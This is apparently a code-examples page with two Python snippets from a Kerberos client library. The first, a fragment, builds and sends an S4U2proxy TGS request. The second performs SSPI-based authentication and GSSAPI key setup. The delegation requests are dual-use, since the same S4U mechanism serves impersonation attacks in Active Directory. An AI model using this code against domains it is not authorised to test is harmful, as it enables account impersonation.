        krb_tgs_body['sname'] = PrincipalName({
            'name-type':
            NAME_TYPE.SRV_INST.value,
            'name-string':
            spn_user.get_principalname()
        })
        krb_tgs_body['realm'] = self.usercreds.domain.upper()
        krb_tgs_body['till'] = (now + datetime.timedelta(days=1)).replace(
            microsecond=0)
        krb_tgs_body['nonce'] = secrets.randbits(31)
        krb_tgs_body['etype'] = [
            supp_enc.value
        ]  #selecting according to server's preferences
        krb_tgs_body['additional-tickets'] = [s4uself_ticket]

        krb_tgs_req = {}
        krb_tgs_req['pvno'] = krb5_pvno
        krb_tgs_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value
        krb_tgs_req['padata'] = [pa_tgs_req, pa_pac_opts]
        krb_tgs_req['req-body'] = KDC_REQ_BODY(krb_tgs_body)

        req = TGS_REQ(krb_tgs_req)

        reply = await self.ksoc.sendrecv(req.dump())
        if reply.name == 'KRB_ERROR':
            if reply.native['error-code'] == 16:
                logger.error(
                    'S4U2proxy: Failed to get S4U2proxy! Error code (16) indicates that delegation is not enabled for this account!'
                )

            raise Exception('S4U2proxy failed! %s' % str(reply))
Example #16
0
    async def authenticate(self,
                           authData=None,
                           flags=None,
                           seq_number=0,
                           cb_data=None):
        """
		This function is called (multiple times depending on the flags) to perform authentication. 
		"""
        try:
            if self.iterations == 0:
                self.ksspi = KerberosMSLDAPSSPI(domain=self.domain,
                                                username=self.username,
                                                password=self.password)
                token, self.actual_ctx_flags = self.ksspi.get_ticket_for_spn(
                    self.spn, ctx_flags=self.flags)
                self.iterations += 1

                if ISC_REQ.MUTUAL_AUTH in self.actual_ctx_flags or ISC_REQ.USE_DCE_STYLE in self.actual_ctx_flags:
                    #in these cases continuation is needed
                    return token, True, None

                else:
                    #no mutual or dce auth will take one step only
                    _, err = self.get_session_key()
                    if err is not None:
                        return None, None, err
                    apreq = AP_REQ.load(token).native
                    subkey = Key(apreq['ticket']['enc-part']['etype'],
                                 self.session_key)
                    self.gssapi = get_gssapi(subkey)
                    self.get_seq_number()

                    return token, False, None

            else:
                adata = authData[16:]
                if ISC_REQ.USE_DCE_STYLE in self.actual_ctx_flags:
                    adata = authData
                token, self.actual_ctx_flags = self.ksspi.get_ticket_for_spn(
                    self.spn,
                    ctx_flags=self.actual_ctx_flags,
                    token_data=adata)

                if ISC_REQ.USE_DCE_STYLE in self.actual_ctx_flags:
                    #Using DCE style 3-legged auth
                    aprep = AP_REP.load(token).native
                else:
                    aprep = AP_REP.load(adata).native
                    subkey = Key(aprep['enc-part']['etype'],
                                 self.get_session_key())

                _, err = self.get_session_key()
                if err is not None:
                    return None, None, err

                _, err = self.get_seq_number()
                if err is not None:
                    return None, None, err

                subkey = Key(token['enc-part']['etype'], self.session_key)
                self.gssapi = get_gssapi(subkey)

                self.iterations += 1
                return token, False, None

        except Exception as e:
            return None, None, e